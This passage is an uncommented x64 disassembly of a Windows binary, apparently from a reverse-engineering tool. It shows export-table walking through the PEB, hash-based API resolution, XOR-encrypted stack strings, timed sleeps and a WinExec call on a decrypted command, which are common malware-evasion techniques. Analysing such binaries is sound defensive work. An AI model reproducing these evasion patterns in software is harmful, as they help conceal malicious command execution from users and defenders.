mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x750], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rbp + 0xe0]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0xe0], xmm0
lea rdx, [rbp + 0xe0]
call fcn.140015070
lea rdx, [0x140015a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000de47
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000de47
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x4ea83c9b
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000de42
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000de20
cmp edx, 0xcc0c6ebe
je 0x14000e03a
test r8d, r8d
jne 0x14000de00
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000de5d
cmp qword [rax + 0x30], 0
jne 0x14000ddd0
xor eax, eax
mov ecx, 0x1f4
call rax
sub qword [rbp + 0xb20], 1
jne 0x14000dd20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x4070638b6d3387bc
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0xb20], r12
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x2a8], rax
movabs rax, 0x8ec9f4855894d2eb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x2b0], rax
movabs rax, 0xbdad1fb419674218
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x2b8], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x58], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x60], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x2a0]
xorps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x2a0], xmm0
movdqa xmm1, xmmword [rbp + 0x2b0]
xorps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x2b0], xmm1
lea rdx, [rbp + 0x2a0]
call fcn.140015070
call fcn.140018c40
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000d360
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000d490
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000d79f
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000d84f
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
jmp 0x14000d9b0
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000dcff
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14000de5f
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000e0d7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000e0d7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xa3aa03e6
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000e0d2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000e0b0
cmp edx, 0x258b54e7
je 0x14000eb17
test r8d, r8d
jne 0x14000e090
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000e0ed
cmp qword [rax + 0x30], 0
jne 0x14000e060
xor edx, edx
movabs rax, 0x216063d9227fc8d2
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0xf0], rax
movabs r15, 0x82aef2aca4c5b06
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0xf8], rax
movabs r14, 0x605043ab4d13a7b1
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x760], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x768], rax
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0x760]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0xf0]
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000e217
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000e217
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xb3f9e6f2
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000e212
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000e1f0
cmp edx, 0x6bc7211b
je 0x14000eb33
test r8d, r8d
jne 0x14000e1d0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000e22d
cmp qword [rax + 0x30], 0
jne 0x14000e1a0
xor edx, edx
movabs rax, 0x605043ab4d60cbd2
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x108], rax
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x770], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x778], rax
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rbp + 0x770]
movdqa xmmword [rbp + 0x100], xmm0
lea rcx, [rbp + 0x100]
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000e347
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000e347
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x5871c26a
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000e342
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000e320
cmp edx, 0x96e181ad
je 0x14000eb4f
test r8d, r8d
jne 0x14000e300
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000e35d
cmp qword [rax + 0x30], 0
jne 0x14000e2d0
xor edx, edx
mov ecx, 0xa
call rdx
lea rdx, str._n_n_n_____________n_____________n_____________n______________________________________________________________________________n_____________________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400155c0
mov rcx, rax
mov dl, 0xa
call fcn.140015830
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xb20], r12
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x310], rax
movabs rax, 0x280acf0aea6c7b26
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x318], rax
movabs rax, 0x8ec9f4855894d2eb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x320], rax
movabs rax, 0xc8e05ed719674218
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x328], rax
movabs rax, 0xec051f93793efdd3
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x330], rax
mov qword [rbp + 0xb20], r13
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x338], rax
mov r12, r14
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x720], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x728], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x730], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x738], rax
movabs r14, 0xec0570f7175f91b5
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x740], rax
mov qword [rbp + 0xb20], r13
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x748], rax
movdqa xmm0, xmmword [rbp + 0x310]
xorps xmm0, xmmword [rbp + 0x720]
movdqa xmmword [rbp + 0x310], xmm0
movdqa xmm1, xmmword [rbp + 0x320]
xorps xmm1, xmmword [rbp + 0x730]
movdqa xmmword [rbp + 0x320], xmm1
movdqa xmm0, xmmword [rbp + 0x330]
xorps xmm0, xmmword [rbp + 0x740]
movdqa xmmword [rbp + 0x330], xmm0
lea rdx, [rbp + 0x310]
call fcn.140015070
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000e5b7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000e5b7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0xe1c3c537
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000e5b2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000e590
cmp edx, 0xf796f3a
je 0x14000eb6b
test r8d, r8d
jne 0x14000e570
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000e5cd
cmp qword [rax + 0x30], 0
jne 0x14000e540
xor edx, edx
mov ecx, 0x1f4
call rdx
mov r14d, 3
movabs r13, 0x605043ab4d13879f
nop word [rax + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xb20], r13
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x58], rax
mov qword [rbp + 0xb20], r12
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x780], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x788], rax
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x780]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
call fcn.140015070
lea rdx, [0x140015a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000e707
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000e707
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x899767e4
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000e702
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000e6e0
cmp edx, 0xe44ea347
je 0x14000eb87
test r8d, r8d
jne 0x14000e6c0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000e71d
cmp qword [rax + 0x30], 0
jne 0x14000e690
xor edx, edx
mov ecx, 0x1f4
call rdx
sub r14, 1
jne 0x14000e5f0
lea rcx, [rbp - 0x80]
call fcn.1400113a0
movabs rax, 0x603543df4d60a7ed
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x130], rax
movabs rax, 0x84fef04ca215b67
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x138], rax
movabs rax, 0xaee9d4a578d1f2b3
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x140], rax
movabs rdi, 0xbd8d3f9439476238
mov qword [rbp + 0xb20], rdi
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x148], rax
mov qword [rbp + 0xb20], r12
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x690], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x698], rax
movabs rsi, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb20], rsi
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x6a0], rax
mov qword [rbp + 0xb20], rdi
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x6a8], rax
movdqa xmm0, xmmword [rbp + 0x130]
xorps xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x130], xmm0
movdqa xmm1, xmmword [rbp + 0x140]
xorps xmm1, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x140], xmm1
lea rcx, [rbp + 0x9f0]
call fcn.1400097f0
nop
lea rcx, [rbp + 0x130]
mov rbx, 0xffffffffffffffff
mov r8, rbx
movabs r13, 0xf76044e67b8ceb8a
movabs r14, 0xec0570f7175f91b5
inc r8
cmp word [rcx + r8*2], 0
jne 0x14000e873
lea rdx, [rbp + 0x130]
mov rcx, rax
call fcn.140013ac0
mov rdx, rax
lea rcx, [rbp + 0x9d0]
call fcn.140013b40
nop
lea rcx, [rbp + 0x9f0]
call fcn.140002770
lea rcx, [rbp + 0xa50]
call fcn.140011960
nop
lea r8, [rbp + 0x9d0]
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0xa50]
call fcn.140011840
nop
lea rcx, [rbp + 0xa50]
call fcn.140011870
nop
movabs rax, 0x40353bce6377cad2
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x150], rax
movabs rax, 0x284d8143ba6c1829
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x158], rax
movabs rax, 0x8ed8fa945685dcfa
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x160], rax
movabs rax, 0x9dfa12b408670c15
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x168], rax
movabs rax, 0xa2254ed7276fa182
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x170], rax
movabs rax, 0xf76066c65dac87ff
mov qword [rbp + 0xb20], rax
mov rax, qword [rbp + 0xb20]
mov qword [rbp + 0x178], rax
mov qword [rbp + 0xb20], r12
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xb20], r15
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x58], rax
mov qword [rbp + 0xb20], rsi
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xb20], rdi
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x68], rax
mov qword [rbp + 0xb20], r14
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xb20], r13
mov rax, qword [rbp + 0xb20]
mov qword [rsp + 0x78], rax
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp + 0x150]
movdqa xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [rbp + 0x160]
xorps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0x160], xmm1
movdqa xmm0, xmmword [rbp + 0x170]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x170], xmm0
lea rax, [rbp + 0x150]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14000ea50
mov r9, rbx
lea r8, [rbp + 0x150]
xor edx, edx
lea rcx, [rbp + 0x9b0]
call fcn.1400177c0
mov rdx, rax
lea rcx, [rbp + 0x990]
call fcn.140013fe0
nop
mov r8d, 1
lea rdx, [0x140020308]
lea rcx, [rbp + 0x990]
call fcn.140013dd0
mov rdx, rax
lea rcx, [rbp + 0x970]
call fcn.140013fe0
nop
lea rcx, [rbp + 0x990]
call fcn.140013ef0
nop
lea rcx, [rbp + 0x9b0]
call fcn.140013ef0
lea rcx, [rbp + 0x970]
cmp qword [rbp + 0x988], 0xf
cmova rcx, qword [rbp + 0x970]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.140018c40
nop
lea rcx, [rbp + 0x970]
call fcn.140013ef0
nop
lea rcx, [rbp + 0x9d0]
call fcn.140002770
xor eax, eax
add rsp, 0xbd8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000e0ef
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000e22f
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000e35f
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000e5cf
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14000e71f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000ec47
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000ec47
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x8477dfc8
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000ec42
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000ec20
cmp edx, 0x51fe64c9
je 0x14000f251
test r8d, r8d
jne 0x14000ec00
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000ec5d
cmp qword [rax + 0x30], 0
jne 0x14000ebd0
mov r8, r14
movabs rax, 0x231663d9227fc8d2
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x118], rax
movabs rbx, 0x605043ab4d13a7b1
mov qword [rbp + 0xb30], rbx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x5b0], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x5b8], rax
movdqa xmm0, xmmword [rbp + 0x5b0]
xorps xmm0, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x110], xmm0
lea rcx, [rbp + 0x110]
call r8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x4c0], rax
movabs r12, 0x280acf0aea6c7b26
mov qword [rbp + 0xb30], r12
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x4c8], rax
movabs rax, 0xc685b5e35894d2eb
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x4d0], rax
movabs rax, 0xd4e356b456264259
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x4d8], rax
movabs rax, 0x9e6006d7653ef8d6
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x4e0], rax
movabs rax, 0x963364c7142f28f9
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x4e8], rax
movabs rax, 0xaf619211e7017d06
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x4f0], rax
movabs r14, 0x967acca04138effc
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x4f8], rax
mov qword [rbp + 0xb30], rbx
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x930], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x938], rax
movabs rax, 0xaee9d4a578b4f2cb
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x940], rax
movabs rax, 0xbd8d3f9439476238
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x948], rax
movabs rax, 0xec0570f7175f91b5
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x950], rax
mov qword [rbp + 0xb30], r13
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x958], rax
movabs r15, 0xaf6192118865136f
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x960], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x968], rax
movdqa xmm0, xmmword [rbp + 0x930]
xorps xmm0, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0x4c0], xmm0
movdqa xmm1, xmmword [rbp + 0x4d0]
xorps xmm1, xmmword [rbp + 0x940]
movdqa xmmword [rbp + 0x4d0], xmm1
movdqa xmm0, xmmword [rbp + 0x4e0]
xorps xmm0, xmmword [rbp + 0x950]
movdqa xmmword [rbp + 0x4e0], xmm0
movdqa xmm1, xmmword [rbp + 0x4f0]
xorps xmm1, xmmword [rbp + 0x960]
movdqa xmmword [rbp + 0x4f0], xmm1
lea rdx, [rbp + 0x4c0]
call fcn.140015070
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000efa7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000efa7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0xa5646280
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000efa2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000ef80
cmp edx, 0x7c433513
je 0x14000f26e
test r8d, r8d
jne 0x14000ef60
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000efbd
cmp qword [rax + 0x30], 0
jne 0x14000ef30
xor eax, eax
mov ecx, 0x1f4
call rax
movabs r14, 0x82aef2aca4c5b06
movabs r15, 0x605043ab4d13a7b1
nop word [rax + rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x605043ab4d13879f
mov qword [rbp + 0xb30], rax
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x128], rax
mov qword [rbp + 0xb30], r15
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x7a0], rax
mov qword [rbp + 0xb30], r14
mov rax, qword [rbp + 0xb30]
mov qword [rbp + 0x7a8], rax
movdqa xmm0, xmmword [rbp + 0x7a0]
xorps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x120]
call fcn.140015070
lea rdx, [0x140015a60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000f107
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000f107
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
